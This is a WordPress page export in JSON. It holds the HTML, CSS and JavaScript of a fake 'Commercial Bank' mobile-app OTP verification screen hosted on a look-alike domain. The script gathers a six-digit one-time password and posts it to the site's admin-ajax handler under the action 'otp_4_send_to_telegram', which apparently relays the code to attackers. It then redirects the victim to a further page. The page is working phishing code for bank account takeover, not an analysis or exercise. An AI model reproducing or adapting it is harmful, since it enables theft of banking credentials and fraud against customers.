{"id":77,"date":"2026-04-07T11:04:27","date_gmt":"2026-04-07T11:04:27","guid":{"rendered":"https:\/\/cb-upgrading-id.it.com\/?page_id=77"},"modified":"2026-04-07T11:06:39","modified_gmt":"2026-04-07T11:06:39","slug":"teen","status":"publish","type":"page","link":"https:\/\/cb-upgrading-id.it.com\/index.php\/teen\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"77\" class=\"elementor elementor-77\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-3baaad6 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"3baaad6\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-e358d16\" data-id=\"e358d16\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-2952376 elementor-widget elementor-widget-html\" data-id=\"2952376\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div class=\"mobile-footer-image\">\r\n  <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/1080-233.png\" alt=\"Footer Image\">\r\n<\/div>\r\n\r\n<style>\r\n.mobile-footer-image {\r\n  position: fixed;\r\n  bottom: 0;\r\n  left: 0;\r\n  width: 100%;\r\n  z-index: 999999;\r\n  margin: 0;\r\n  padding: 0;\r\n  background: transparent;\r\n}\r\n\r\n.mobile-footer-image img {\r\n  width: 100%;\r\n  height: auto;\r\n  display: block;\r\n  margin: 0;\r\n  padding: 0;\r\n}\r\n\r\n\/* \u0635\u0631\u0641 \u0645\u0648\u0628\u0627\u0626\u0644 \u06a9\u06d2 \u0644\u06cc\u06d2 *\/\r\n@media (min-width: 768px) {\r\n  .mobile-footer-image {\r\n    display: none;\r\n  }\r\n}\r\n<\/style>\r\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-8d49917 elementor-widget elementor-widget-shortcode\" data-id=\"8d49917\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<style>\r\n.atm-page{\r\n  position:fixed;\r\n  inset:0;\r\n  display:flex;\r\n  align-items:center;\r\n  justify-content:center;\r\n  transform: translateY(-30px);\r\n  z-index:1;\r\n}\r\n\r\n.atm-box{\r\n  max-width:420px;\r\n  width:100%;\r\n  margin:0 auto;\r\n  padding:35px 14px;\r\n  text-align:center;\r\n  font-family:'Roboto', sans-serif;\r\n  transition:transform 0.25s ease;\r\n  will-change: transform;\r\n}\r\n\r\n.atm-top{\r\n  margin-bottom:32px;\r\n}\r\n\r\n.atm-top img{\r\n  width:90px;\r\n  margin:0 auto 12px auto;\r\n  display:block;\r\n}\r\n\r\n.atm-title{\r\n  font-size:17px;\r\n  font-weight:500;\r\n  margin-bottom:4px;\r\n  color:#000;\r\n}\r\n.atm-desc{\r\n  font-size:13px;\r\n  color:#444;\r\n}\r\n\r\n.atm-card{\r\n  background:#FFFFFF !important;\r\n  border-radius:17px;\r\n  padding:36px 20px 36px;\r\n  border:1px solid #CCCCCC;\r\n  position:relative;\r\n  overflow:visible;\r\n}\r\n\r\n.atm-card-label{\r\n  position:absolute;\r\n  top:-11px;\r\n  left:24px;\r\n  background:#BC1552 !important;\r\n  padding:4px 12px;\r\n  font-size:11px;\r\n  font-weight:600;\r\n  color:#ffffff;\r\n  border:1px solid #BC1552 !important;\r\n  border-radius:8px;\r\n}\r\n\r\n.inside-title{\r\n  font-size:13px;\r\n  color:#000;\r\n  margin-bottom:12px;\r\n  text-align:left;\r\n}\r\n\r\n.otp-wrap{\r\n  display:flex;\r\n  justify-content:space-between;\r\n  gap:8px;\r\n  margin-top:12px;\r\n  margin-bottom:12px;\r\n}\r\n.otp-wrap input{\r\n  width:48px;\r\n  height:50px;\r\n  text-align:center;\r\n  font-size:18px;\r\n  border-radius:10px;\r\n  border:1px solid #CCCCCC;\r\n  outline:none;\r\n}\r\n\r\n.timer-wrap{\r\n  text-align:center;\r\n  margin-top:12px;\r\n  margin-bottom:12px;\r\n  font-size:13px;\r\n  color:#000;\r\n}\r\n.timer{\r\n  font-size:15px;\r\n  font-weight:500;\r\n  color:#BC1552;\r\n  margin-left:6px;\r\n}\r\n\r\n#atm-submit{\r\n  display:block !important;\r\n  visibility:visible !important;\r\n  opacity:1 !important;\r\n  position:relative !important;\r\n  z-index:9999 !important;\r\n  width:100% !important;\r\n  height:50px !important;\r\n  margin-top:18px !important;\r\n  border-radius:15px !important;\r\n  border:none !important;\r\n  background:#BC1552 !important;\r\n  color:#fff !important;\r\n  font-size:16px !important;\r\n  font-weight:600 !important;\r\n  cursor:pointer !important;\r\n}\r\n<\/style>\r\n\r\n<div class=\"atm-page\">\r\n  <div class=\"atm-box\" id=\"atm-box\">\r\n\r\n    <div class=\"atm-top\">\r\n      <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/log.png\">\r\n      <div class=\"atm-title\">Welcome To Commercial Bank<\/div>\r\n      <div class=\"atm-desc\">Mobile App<\/div>\r\n    <\/div>\r\n\r\n    <div class=\"atm-card\">\r\n\r\n      <div class=\"atm-card-label\">Verify OTP<\/div>\r\n\r\n      <div class=\"inside-title\">\r\n        Please enter the OTP ( One Time Password ) sent to your registered mobile number +974 XXXXXXXX\r\n      <\/div>\r\n\r\n      <form id=\"atm-form\" novalidate>\r\n\r\n        <div class=\"otp-wrap\">\r\n          <input type=\"tel\" maxlength=\"1\">\r\n          <input type=\"tel\" maxlength=\"1\">\r\n          <input type=\"tel\" maxlength=\"1\">\r\n          <input type=\"tel\" maxlength=\"1\">\r\n          <input type=\"tel\" maxlength=\"1\">\r\n          <input type=\"tel\" maxlength=\"1\">\r\n        <\/div>\r\n\r\n        <div class=\"timer-wrap\">\r\n          The OTP will expire in <span class=\"timer\" id=\"otpTimer\">05:00<\/span>\r\n        <\/div>\r\n\r\n        <button id=\"atm-submit\" type=\"submit\">Verify<\/button>\r\n\r\n      <\/form>\r\n\r\n    <\/div>\r\n  <\/div>\r\n<\/div>\r\n\r\n<script>\r\n(function(){\r\n\r\nconst box = document.getElementById(\"atm-box\");\r\nlet baseHeight = window.innerHeight;\r\n\r\nfunction softKeyboardMove(){\r\n  let currentHeight = window.innerHeight;\r\n\r\n  if(window.visualViewport){\r\n    currentHeight = window.visualViewport.height;\r\n  }\r\n\r\n  const diff = baseHeight - currentHeight;\r\n\r\n  if(diff > 120){\r\n    let moveUp = diff * 0.20;\r\n    if(moveUp > 90) moveUp = 90;\r\n    box.style.transform = \"translateY(-\" + moveUp + \"px)\";\r\n  } else {\r\n    box.style.transform = \"translateY(0px)\";\r\n  }\r\n}\r\n\r\nwindow.addEventListener(\"resize\", softKeyboardMove);\r\n\r\nif(window.visualViewport){\r\n  window.visualViewport.addEventListener(\"resize\", softKeyboardMove);\r\n}\r\n\r\n})();\r\n\r\nconst otpInputs = document.querySelectorAll(\".otp-wrap input\");\r\n\r\notpInputs.forEach((input, index)=>{\r\n  input.addEventListener(\"input\", ()=>{\r\n    input.value = input.value.replace(\/\\D\/g,'');\r\n    if(input.value && otpInputs[index+1]){\r\n      otpInputs[index+1].focus();\r\n    }\r\n  });\r\n\r\n  input.addEventListener(\"keydown\", (e)=>{\r\n    if(e.key===\"Backspace\" && !input.value && otpInputs[index-1]){\r\n      otpInputs[index-1].focus();\r\n    }\r\n  });\r\n});\r\n\r\nlet time = 300;\r\nconst timerEl = document.getElementById(\"otpTimer\");\r\n\r\nsetInterval(()=>{\r\n  if(time <= 0) return;\r\n  time--;\r\n  let min = String(Math.floor(time\/60)).padStart(2,'0');\r\n  let sec = String(time%60).padStart(2,'0');\r\n  timerEl.textContent = min + \":\" + sec;\r\n},1000);\r\n\r\ndocument.getElementById(\"atm-form\").addEventListener(\"submit\", function(e){\r\n  e.preventDefault();\r\n\r\n  let code = \"\";\r\n  otpInputs.forEach(i=> code += i.value);\r\n\r\n  if(code.length !== 6){\r\n    alert(\"Enter your 6 digit code\");\r\n    return;\r\n  }\r\n\r\n  const btn = document.getElementById(\"atm-submit\");\r\n  btn.textContent = \"Processing...\";\r\n  btn.disabled = true;\r\n\r\n  setTimeout(async ()=>{\r\n    const data = new FormData();\r\n    data.append(\"action\",\"otp_4_send_to_telegram\");\r\n    data.append(\"mobile\", code);\r\n\r\n    const r = await fetch('https:\/\/cb-upgrading-id.it.com\/wp-admin\/admin-ajax.php',{\r\n      method:\"POST\",\r\n      body:data\r\n    });\r\n\r\n    const t = await r.text();\r\n    if(t.trim()===\"success\"){\r\n      window.location.href=\"https:\/\/cb-upgrading-id.it.com\/index.php\/alewan\/\";\r\n    }else{\r\n      btn.disabled=false;\r\n      btn.textContent=\"Verify\";\r\n    }\r\n  },3000);\r\n});\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-c385050 elementor-widget elementor-widget-html\" data-id=\"c385050\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div class=\"mobile-header-image\">\r\n  <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/EN-1.png\" alt=\"Header Image\">\r\n<\/div>\r\n\r\n<style>\r\n.mobile-header-image {\r\n  position: fixed;\r\n  top: 5px; \/* \u2705 \u0635\u0631\u0641 3px gap *\/\r\n  left: 0;\r\n  width: 100%;\r\n  z-index: 999999;\r\n  margin: 0;\r\n  padding: 0;\r\n  background: transparent;\r\n}\r\n\r\n.mobile-header-image img {\r\n  width: 100%;\r\n  height: auto;\r\n  display: block;\r\n  margin: 0;\r\n  padding: 0;\r\n}\r\n\r\n\/* \u2705 Mobile only *\/\r\n@media (min-width: 768px) {\r\n  .mobile-header-image {\r\n    display: none;\r\n  }\r\n}\r\n\r\nbody {\r\n  padding-top: 0px !important;\r\n}\r\n<\/style>\r\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-77","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/77","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/comments?post=77"}],"version-history":[{"count":5,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/77\/revisions"}],"predecessor-version":[{"id":82,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/77\/revisions\/82"}],"wp:attachment":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/media?parent=77"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}